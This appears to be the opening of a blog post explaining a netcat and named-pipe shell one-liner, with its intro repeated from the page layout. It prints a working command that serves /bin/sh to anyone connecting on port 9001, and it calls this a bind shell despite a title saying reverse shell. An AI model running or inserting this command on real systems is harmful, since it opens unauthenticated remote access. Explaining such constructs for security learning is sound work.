Understanding a Netcat-Based Reverse Shell Using FIFO

One-liners like the following are often used in offensive security contexts to establish shell access via netcat and named pipes: rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0.0.0.0 9001 > /tmp/f This clever construct creates a bind shell—a shell that listens on a port and grants access to whoever connects. Let's understand how it works, then dig into its security implications.

May 3, 2025 - 08:29
 0
Understanding a Netcat-Based Reverse Shell Using FIFO

One-liners like the following are often used in offensive security contexts to establish shell access via netcat and named pipes:

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0.0.0.0 9001 > /tmp/f

This clever construct creates a bind shell—a shell that listens on a port and grants access to whoever connects. Let's understand how it works, then dig into its security implications.